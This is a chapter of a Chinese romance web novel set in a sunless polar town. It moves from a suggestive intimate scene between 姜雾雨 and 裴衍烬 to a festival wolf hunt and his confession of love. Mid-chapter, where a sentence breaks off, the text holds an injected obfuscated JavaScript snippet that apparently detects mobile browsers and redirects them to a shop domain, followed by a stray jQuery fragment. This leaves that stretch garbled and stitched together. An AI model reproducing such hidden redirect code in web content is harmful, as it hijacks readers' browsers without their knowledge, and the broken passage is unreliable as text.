“不行。”
“不可以。”
姜雾雨接连拒绝了两遍。
突入其来的失控感让她心慌。
她不明白,昨天还只会乖巧听从指令的男人怎么今天突然如此放肆。
“可是我说了实话。”
裴衍烬手臂更加用力,似是要将姜雾雨揉进怀里。
“我说了实话,你应该奖励我,主人。”
姜雾雨撞进他纯黑色的瞳仁,险些迷失神志。
但他说的似乎的确有些道理。
是她一直在逼他说实话。
是她做的准备不够充分,没有想到实话是这样的...不堪入耳。
但是作为主人,她应该去接受他全部,优点和缺点。
姜雾雨很是纠结。
她必须树立主人的威严。
“没有这么快。”
姜雾雨挣脱裴衍烬。
“我现在只能给你一点点小奖励,之后的还要看你表现。”
“小奖励,是什么?”
裴衍烬完全锁定着她的一举一动。
姜雾雨眼神躲闪,尽量不去看他。
“你可以...舔。”
静谧昏暗的环境里,她清晰地听到了男人吞咽的声音。
白昼的日子里,当地的人们想要维持自己岌岌可危的生物钟,只能依托于房屋、窗帘的遮盖,营造出较为昏暗的室内环境。
但是,光影无形,总会从细微的缝隙中侵入,在气流的波动间晃眼,时不时地提醒人们,白昼并没有过去。
姜雾雨难以抑制地咬上了自己的指节。
可下一秒,她的手被男人的长臂拉下,十指相扣。
白昼依旧存在的另一个现象,就是房屋外的雪橇犬始终处于警戒的姿态。
在犬群内,他们会自发形成间断性的睡眠,以确保能够捕捉到领地内的每一次风吹草动。
但有时,雪橇犬们过于机敏,也会影响到屋内主人的休息。
主人会依据事实情况给予奖惩,从而引导雪橇犬们更好的保护家园。
“水水,好香。”
姜雾雨的大脑晕乎乎的,她轻颤。
“你总是...变称呼,裴衍烬。”
掌控感的轻易易主让姜雾雨浑身紧绷。
冰天雪地里最难寻的,其实是干净清澈的饮用水。
对于雪橇犬来说,它们藏在柔软棉雪的缝隙中。
裴衍烬在百忙之中回应了姜雾雨关于称呼的投诉。
“既然主人不开心了,那就尝试制止我吧。”
这让她怎么说。
姜雾雨羞愤难当,但又忍不住好奇,去看裴衍烬的样子。
晶莹的唇瓣,荼蘼的双颊,以及那双眼里,映满了她。
“那就要看着他的眼睛了,他的眼睛会告诉你答案。”
姜雾雨募地想到了这句话。
他的眼睛里,全都是她。
羞愧、嗔怒、无措、卑劣,所有难以启齿的部分,在裴衍烬的眼里,全部成了甘之如饴的蜜糖。
姜雾雨的心砰砰地跳着。
她明确地意识到了些什么。
于是,在裴衍烬再一次低头时,她拒绝的话卡在了嘴边。
意识的最后,姜雾雨听见裴衍烬附在耳边。
“谢谢主人,小狗吃的很饱。”
*
暴风雪过去,感恩祭祀神灵的庇护,成了当地人最重要的活动。
乌莎萨尔,庇护与治愈之母,是艾隆索莱镇老一辈人心中最为信奉的神灵。
她是暴风雪本身,是覆盖大地的厚重积雪,也是暴风雪过后那一片纯净的寂静。她既带来考验,也提供庇护。
乌莎萨尔与炉火与智慧之母卡雅、丰饶与狩猎之西尔玛三者并成为风雪三女神,共同庇护着这片长久被极昼笼罩的极寒之地。
露天的篝火和狂放不羁的烤肉只是祭祀节日的序曲,艾隆索莱镇的原住民是游猎民族的后代,虽然如今大多已然融入社会,但每到节日,身体深处狩猎的血种仍然会被燃起的篝火点燃。
裴衍烬在人潮拥挤的节日现场见到了那个让他极为不安的金发少年。
约克正兴奋地将红色方巾系在小臂,今年是他第一次代表约瑟夫一家参与围猎。
在围猎中猎到最大最凶猛的猎物,便可以获得唯一的、血木松雕刻的乌莎萨尔纹章,一年的围猎活动中,只有一个人能够享此殊荣,这是身为艾隆索莱人崇高的荣誉。
传说,血木松是艾隆索莱镇郊外的森林中,被受伤的苍狼血浇灌长大的树木,极其难寻,极其珍贵,充满着神性的寓意。
周遭的所有人都洋溢着喜气,只有裴衍烬一个人面若冰霜。
他带着十足冷意的目光紧盯着围在姜雾雨身旁叽叽喳喳的金发少年。
不就是打个猎吗,有什么好激动的。
紧张的话找自己家人不行吗,为什么要围着他的主人。
姜雾雨在给约克打气。
她很看好他,毕竟上次他们三人进入森林时意外遇见苍狼,少年就展现出来足够的镇定和勇气,颇有他爷爷当年的风范。
“你很喜欢他。”
不带感情的陈述句突然从姜雾雨耳后传来。
姜雾雨目送约克远去的笑容顿了一下,她转身,看向裴衍烬。
他带着才买来的厚实暖和的绒毛帽,配合上高挺的鼻梁眉骨,硬生生地凹出了几分斯拉夫血统的气质。
只是那双纯黑色的眼眸,让裴衍烬整个人看起来更加庄重、不可侵犯。
姜雾雨想着他独自一人大胆从暴风雪中穿行的壮举,直觉裴衍烬若是在这里土生土长,估计也是个狩猎的好手。
想到这里,她唇角勾起更大弧度,“你是说,你能够感受到,我喜欢他?”
“我...”
裴衍烬被姜雾雨的问题卡住了思绪,片刻后,他选择陈述事实。
“你在对他笑。”
“我现在也在对你笑。”
裴衍烬感觉自己心跳加速了一瞬。
“但是你没有对我笑。”
姜雾雨又道,语气也带上了谴责。
“裴衍烬,你什么意思?”
裴衍烬原本还在加速的心脏一下子从高空坠机。
“我...”
他瞬间无措起来。
“我不是这个意思,我不是...”
不喜欢你。
最后几个字,他怎么也说不出口。
好像这是一种对姜雾雨的玷污。
就在他犹豫着该怎么解释时,姜雾雨已经被其他事物吸引走了注意。
他看着她欢笑着融入了人群,好像将他的全身温度一并抽走。
独留他一个人在这冰天雪地,没有方向,没有依靠。
“你做得很棒,小甜心。”
玛莎太太在远处目睹了全程。
“真的吗,可是您并没有听到我们在说什么。”
姜雾雨有些纠结。
她是不是对裴衍烬太差了,他人生地不熟,她却把他一个人丢在人堆里,简直是i人地狱。
“没关系,犬类早在千百年的进化中学会了适应环境,他们既会洞察主人的需求,主动讨主人欢心,同时也会用自己的方式,强调它的不可替代性。”
玛莎太太前一句还是再用人的他,后一句就已经变成了动物的它。
姜雾雨也不知道她到底说的是人,还是她脚下乱做一团追着尾巴逗自己玩的雪橇犬。
“东方姑娘,请直白地告诉我,你们男人的那里厉害吗?”
突然,和姜雾雨有几分相熟的翠儿丝凑了过来。
“什么?”
姜雾雨第一反应以为自己听错了,或许她说的是“那里的男人”?
意指担当、强壮、勇猛......好像也不对。
她懵懂着神情望向翠儿丝。
翠儿丝是她去年认识的当地姑娘,比姜雾雨大不了几岁,却在去年两人并不相熟的情形下,主动在大街上拦住了她。
她当时说,“please,我真的想要一个东方女孩参加我的婚礼。”
于是姜雾雨就这么盛情难却地去了,并且结识了这个极为大胆、开放、直白的姑娘。
翠儿丝的丈夫今年同样代表他们一家参加狩猎,就在刚刚,翠儿丝给予了他鼓励意义的直白舌吻,动作大胆到姜雾雨根本不敢直视。
见姜雾雨望向自己一脸空白的表情,翠儿丝又笑了起来。
“你知道我在说什么,我虽然已经结婚了,但好奇一下不可以吗?”
姜雾雨一瞬间便脸红了起来。
她结巴着,“我不知道。”
她这么说着,语气冷淡,脑子里却不由自主地想起了昏暗的房间,裴衍烬有力的小臂圈着她的大腿,滚烫的呼吸,以及灵活的...
不是,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806104|190755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他无师自通啊。
姜雾雨唾弃自己在大白天在脑子里想这些,恨不得找个地缝钻进去。
“看起来应该不错。”
翠儿丝品着姜雾雨的表情。
可惜艾隆索莱镇地下全是冻土,姜雾雨一毫米都钻不下去。
她突兀地想起翠儿丝曾热心和她分享,她带着新婚丈夫去医院结扎的趣事,并吐槽道,不这样的话,以他们的频率和强度,很快就能将艾隆索莱镇这偏远地区的出生率提升一大截。
姜雾雨脸红的不得了。
裴衍烬是什么样子的,她不敢想,却又控制不住地去想。
他会听她的话吗。
她想到男人从下而上看她的眼神,直觉可能有些难。
而她也有些立场不定,会被他的节奏带走。
姜雾雨猛地摇了摇头,甩掉脑子里这些黄色废料。
她漫无目的地在集市上逛了几圈,才后知后觉地发现,裴衍烬不见了。
姜雾雨蹙起眉,她心中有股不好的预感。
果然,感到森林的入口问了人,守林人兼狩猎比赛裁判诚实地告诉她,刚才看到一个俊美的东方面孔走进了林子。
姜雾雨心中一紧,赶忙问裴衍烬都带了什么武器。
狩猎裁判挠了挠头,表示自己并没有注意。
毕竟,谁进林子不是带枪啊,这里面可是有野生苍狼的。
姜雾雨一听这个回答,瞬间崩溃到了极点。
这里淳朴的原住民估计是想不到,在遥远的东方,有一整群人类自小老实本分,连枪都没有摸过,而其中有一个,居然胆大到空手就往原始森林里钻。
“你最好活着出来。”
姜雾雨嘴上是气愤至极的。
可是担忧的眼泪已经随着刺骨的寒风流下脸颊。
姜雾雨哪里也不愿意去,她执拗地停留在森林入口,不顾他人的劝阻,执意要等裴衍烬出来。
脸颊的泪痕干了流,流了干,反反复复。
她不该如此脆弱的像个傻子,她在心中唾弃自己。
可这是唯一能够让她心里有些安慰的举动。
“砰!”
一声巨大的枪响,让森林里松叶上的积雪哗啦啦地落了一大片。
紧接着是陌生但惊恐的尖叫声响起,“苍狼!”
原本还窝在座位上打盹的裁判猛地站起来,他怒骂着、急迫地拾起放在身旁的猎枪,叫喊着姜雾雨听不懂地俚语往林子里冲去。
姜雾雨被留在原地,更加无助、更加瑟缩。
绝望像是沼泽般慢慢爬遍她的全身。
“砰!”
又是一声枪响。
随之而来的,是姜雾雨颅内的耳鸣。
所有的声音正在离她远去,眼前白色的雪和白色的天搅成一团,灵魂仿佛在抽离。
“神迹!神迹!”
直到这样的声音涌入她的耳朵。
激昂的、无比兴奋的叫喊,来自身体底层最深处的细胞发出的对狩猎的渴望和征服的欲望刺破了姜雾雨的耳膜。
她挣扎着睁开眼睛,想要回应来自生命力的呼唤。
她看见,挺拔修长的黑色身影朝她走来,身后拖着巨大的苍狼尸体,血与火映在他漆黑跳动的瞳孔里。
是神迹。
姜雾雨呆滞地望着裴衍烬逆着光向她走来。
离得近了,她终于在他燃烧的瞳仁里看见了自己,蹲在地上,满脸泪痕。
姜雾雨挣扎着站起身。
她想迎接他。
她扑进那个浸润着寒气、血腥味,但温暖无比的怀抱。
“你怎么都不和我商量一下。”
姜雾雨委屈至极,眼泪再度滑落。
裴衍烬伸出手去接,却意外将指尖的鲜血抹在了女孩白净的脸上。
他骤然慌了神。
但姜雾雨看到他表情,更加悲伤,泪水涌出,紧紧抱着裴衍烬的腰。
裴衍烬顾不得其他,只好先安慰她。
“不要怕,我在这里。”
姜雾雨泣不成声。
“裴衍烬,不是这句。”
电光火石间,裴衍烬好像明白了什么,他薄唇微动。
“我爱你。”
或许是血的呼喊,白到无痕的天空终于舍得泛出一丝红色的痕迹。
终于,在鲜血、和庆祝、和火的温暖中,艾隆索莱镇迎来了它阔别已久的第一个黄昏。